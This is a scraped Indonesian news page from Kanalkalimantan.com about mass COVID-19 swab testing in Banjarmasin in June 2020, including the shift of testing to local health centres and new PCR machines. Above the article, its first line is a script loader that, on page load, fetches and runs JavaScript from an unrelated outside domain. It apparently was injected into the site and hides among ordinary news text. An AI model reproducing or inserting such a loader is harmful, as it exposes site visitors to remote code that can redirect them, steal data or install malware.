(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pengambilan swab massal yang dilakukan pada Sabtu (13/6/2020) pagi diketahui merupakan pengambilan swab terbesar di Banjarmasin, mengingat ada 750 orang yang dinyatakan reaktif dari RDT (rapid diagnostic test) untuk kemudian diambil swabnya. Tak hanya itu, swab massal ini juga diharapkan menjadi yang terakhir kali.
Kepada awak media pada Jumat (12/6/2020) kemarin, Kepala Dinas Kesehatan Kota Banjarmasin Dr. Machli Riyadi mengungkapkan, kendati pengambilan swab massal tidak lagi dilanjutkan, bukan berarti upaya untuk mengetahui seseorang dinyatakan positif Covid-19 ini benar-benar dihentikan. Menurut Machli, nantinya pengambilan swab akan dilanjutkan di tiap puskesmas yang ada di Kota Banjarmasin.
“Pengambilan swab tidak lagi di Dinkes Kota Banjarmasin, bukan berarti berakhirnya swab massal. Tetapi swab itu diharapkan dilakukan di masing-masing puskesmas dan dilakukan sendiri-sendiri,” kata Machli.
Mantan Wadir Administrasi dan Keuangan RSJ Sambang Lihum ini menambahkan, jika ada puskesmas yang belum siap untuk pengambilan swab secara keseluruhan, maka Dinkes Kota Banjarmasin akan menunjuk beberapa puskesmas per kecamatan. Artinya, akan ada lima puskesmas dari lima kecamatan di Kota Banjarmasin, dengan catatan puskesmas itu sudah siap untuk pengambilan swab.
Dalam artian lain, Dinkes Kota Banjarmasin tidak lagi menjadwalkan pengambilan swab secara massal. Sementara itu, tracking tetap dijalankan kendati secara selektif dan fokus pada OTG (orang tanpa gejala).
Juru Bicara Tim Gugus Tugas Percepatan Penanganan (P2) Covid-19 Kota Banjarmasin ini menjelaskan, pengambilan swab perlu dilakukan agar dapat memastikan seseorang terpapar Covid-19 atau tidak. Sedangkan rapid test hanya sebatas deteksi dini, di mana jika dinyatakan reaktif juga harus dilakukan pengambilan swab.
“Sehingga kita melakukan swab ini, sasarannya tentu mereka yang baru dan yang mengulang swabnya. Dari 750 orang yang terdaftar itu, 230 orang itu mengulang. Sisanya, yaitu mereka yang belum pernah di-swab,” papar Machli.
Guna mengurangi antrian sampel swab, Machli menyebutkan sudah ada penambahan alat PCR (polymerase chain reaction), di mana keduanya merupakan bantuan Pemerintah Pusat beberapa waktu lalu. Salah satunya, sudah ditempatkan di RSUD Moch Ansari Saleh Banjarmasin. Diharapkan dengan penambahan alat PCR ini, dapat mengurangi daftar antrian.
“Kemudian agar orang secepatnya tertangani, maka kalau kita menunda berarti memperlambat penanganan. Sehingga harus secepatnya dilakukan dan bisa dikirim ke RSUD Ansari Saleh yang sudah diinstall dan akan kita kirimkan ke sana,” lugasnya. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
This website uses cookies.